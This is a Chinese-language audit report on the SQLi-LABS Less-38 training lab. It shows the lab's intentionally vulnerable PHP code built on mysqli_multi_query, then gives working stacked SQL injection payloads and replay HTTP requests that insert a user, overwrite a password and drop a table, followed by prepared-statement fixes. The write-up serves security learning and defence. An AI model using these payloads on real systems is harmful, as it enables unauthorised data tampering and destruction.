Less-38 审计报告:堆叠注入(Stacked Query,字符串型)

1. 关卡概述

2. 漏洞代码定位

文件: Less-38/index.php

// 第 25 行:输入无任何过滤
$id=$_GET['id'];

// 第 33 行:mysqli 连接
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);

// 第 46 行:单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 第 48 行:关键 —— 使用 mysqli_multi_query 执行"多语句"
if (mysqli_multi_query($con1, $sql))
{
    // 第 55~62 行:取第一结果集并显示 row[1]、row[2]
    if($row = mysqli_fetch_row($result))
    {
        printf("Your Username is : %s", $row[1]);
        printf("Your Password is : %s", $row[2]);
    }
}
else
{
    // 第 76 行:报错回显
    print_r(mysqli_error($con1));
}

3. 漏洞分析

• 核心缺陷:第 48 行 mysqli_multi_query() 允许执行由 ; 分隔的多条 SQL 语句。只要输入中包含 ;,攻击者就能追加任意 INSERT/UPDATE/DELETE/ALTER 等语句。
• 对比:普通 mysqli_query() 只执行单条语句,; 后的内容会被忽略或报错;mysqli_multi_query 则全部执行。
• 闭合方式:WHERE id='$id',payload 用 1' 闭合单引号,-- - 注释尾部;用 ; 分隔后续语句。
• 回显:第 76 行报错回显;第一结果集正常显示行数据。

4. 利用方式

步骤一:确认注入与堆叠

• ?id=1' → 报语法错误,证明注入点存在。
• ?id=1' and 1=1-- - → 正常返回,确认闭合方式。

步骤二:堆叠注入插入数据(核心 payload)

1';insert into users(id,username,password) values(99,'hacker','hacker')-- -

拼接后(两条语句):

SELECT * FROM users WHERE id='1';
insert into users(id,username,password) values(99,'hacker','hacker')-- -' LIMIT 0,1

• 第一条查询返回 id=1 行;第二条 INSERT 插入 hacker 用户;-- - 注释尾部残留。

步骤三:验证插入结果

• 重新访问 ?id=99 → 显示 hacker 用户,说明 INSERT 已生效。
• 或用 1' union select 1,2,3-- - 验证 UNION 同样可用。

步骤四:堆叠 UPDATE(修改他人密码)

1';update users set password='P@ssw0rd' where id=1-- -

步骤五:堆叠 DROP(危险演示,谨慎)

1';drop table test-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-38/?id=1%27%3Binsert%20into%20users(id,username,password)%20values(99,%27hacker%27,%27hacker%27)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

UPDATE 报文:

GET /sqli-labs/Less-38/?id=1%27%3Bupdate%20users%20set%20password=%27P@ssw0rd%27%20where%20id=1--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

%27='、%3B=;、%20=空格。堆叠注入是数据破坏性利用,仅在授权靶场中练习。

6. 修复建议

修复一:PDO 预处理 + 禁用多语句

<?php
// 1) PDO 默认不允许多语句(ATTR_EMULATE_PREPARES=false 时更安全)
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();

修复二:mysqli 预处理(禁止 multi_query)

<?php
// 用 prepare/bind_param 替代 mysqli_multi_query
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
// 绝不使用 mysqli_multi_query 处理含用户输入的单条语句

修复三:加固要点

• 移除 mysqli_multi_query;单条查询用 mysqli_query + 预处理;
• id 参数 ctype_digit()/is_numeric() 强校验;
• 关闭 mysqli_error() 回显;数据库最小权限(专用只读账号);
• 升级 PHP 7+ / 8+,使用 PDO。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysqli 扩展。